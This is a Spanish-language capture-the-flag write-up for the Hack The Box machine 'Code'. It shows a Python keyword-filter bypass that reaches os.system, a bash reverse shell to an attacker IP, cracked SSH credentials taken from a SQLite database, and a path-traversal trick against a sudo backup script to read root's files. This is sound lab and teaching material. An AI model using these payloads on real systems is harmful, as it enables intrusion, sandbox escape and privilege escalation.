Skip to main content

Máquina Code

Hack The Box – Máquinas


  • Tags: #Linux #Easy #Python

Reconocimiento

  1. Identificación de sistema operativo a través de ping
  • Como el ttl es cercano a 64, se puede saber que la máquina es Linux
  1. Identificación de puertos abiertos con Nmap
  • Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina 1
  • Se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor
  1. Revisión de la página web desplegada por el puerto 5000 de la máquina Code
  • Al ingresar a la página se puede observar una plataforma que ejecuta código en python:

  • Al intentar importar librerías como os sale un mensaje diciendo que se está usando una palabra restringida:

  1. Bypass de control de palabras restringidas
  • Se intenta saltar el control de palabras restringidas usando lo siguiente2:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('ping -c 1 10.10.16.91')
  • De esta manera, si se pone en "escucha" de trazas icmp desde la máquina atacante, se puede comprobar si dicho código se salta el control de palabras restringidas:

Acceso al sistema como usuario no privilegiado

  1. Obtención de reverse shell
  • Como se puede observar, se ha podido saltar el control de palabras, por lo que ahora, en vez de enviar una traza icmp, se puede enviar una reverse shell a la ip atacante con el siguiente código:
test = getattr(print.__self__, '__im' + 'port__')('o' + 's')
getattr(test, 'sy' + 'stem')('bash -c "bash -i >& /dev/tcp/10.10.16.91/443 0>&1"')

  1. Flag de usuario no privilegiado
  • Se retrocede un directorio y se encuentra la flag del usuario no privilegiado:

Escalada de privilegios

  1. Búsqueda de archivos en el directorio actual e ingreso como usuario "martin"
  • Se realiza un find . para listar todos los archivos que hay en el directorio de trabajo:

  • Hay un archivo que llama la atención llamado "databasae.db", el cual, al hacerle un file indica que es un archivo de SQLite:

  • Se abre el archivo con sqlite3 y se lista el contenido de la tabla "user":

  • Se intenta buscar la contraseña del usuario "martin", ya que esta se encuentra en md5:

  • Una vez encontradas las credenciales (martin/nafeelswordsmaster), se puede ingresar por ssh:

  1. Revisión de permisos del usuario "martin" y modificación de archivos
  • Una vez se ha ingresado por ssh, se lista todo lo que el usuario puede ejecutar como sudo:

  • Al listar el contenido de /usr/bin/backy.sh se puede ver que pide un archivo json, que en este caso se encuentra en la carpeta backups

  • El contenido del archivo task.json es el siguiente:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}
  • Analizando el archivo backy.sh se puede ver que hay una línea que "elimina" todo ../ que haya dentro del archivo json:
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
  • Por lo que, como solo se está haciendo esta comprobación, se podría intentar saltar esta validación de la siguiente forma:
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": true,
        "directories_to_archive": [
                "/home/....//root"
        ]
}
  1. Flag de root
  • Se ejecuta el script backy.sh junto con el archivo task.json modificado:

  • Se descomprime la carpeta que ha creado el script:

  • Se ingresa a la carpeta y se obtiene tanto la flag de root como una clave privada para conectarse por ssh:

Footnotes

  1. Se hizo un escaneo anterior a este pero no se realizó captura de pantalla de este, el comando de dicho escaneo es: nmap -sS -p- --open --min-rate 5000 -n -Pn 10.10.11.62 -oG allPorts

  2. Explicación: Este bypass funciona porque el intérprete restringe palabras clave mediante una lista negra por texto, pero en Python es posible reconstruir esos nombres y acceder a objetos sensibles por rutas alternativas. print.__self__ devuelve el módulo builtins, que contiene la función __import__. Con getattr(print.__self__, '__im' + 'port__') se forma dinámicamente el nombre __import__, evitando escribirlo literal y eludiendo el filtro. Luego, se importa el módulo os sin escribir "os" directamente ('o' + 's') y se accede a su función system con getattr(test, 'sy' + 'stem'). Así se logra ejecutar comandos arbitrarios (os.system(...)) sin usar ninguna de las palabras prohibidas.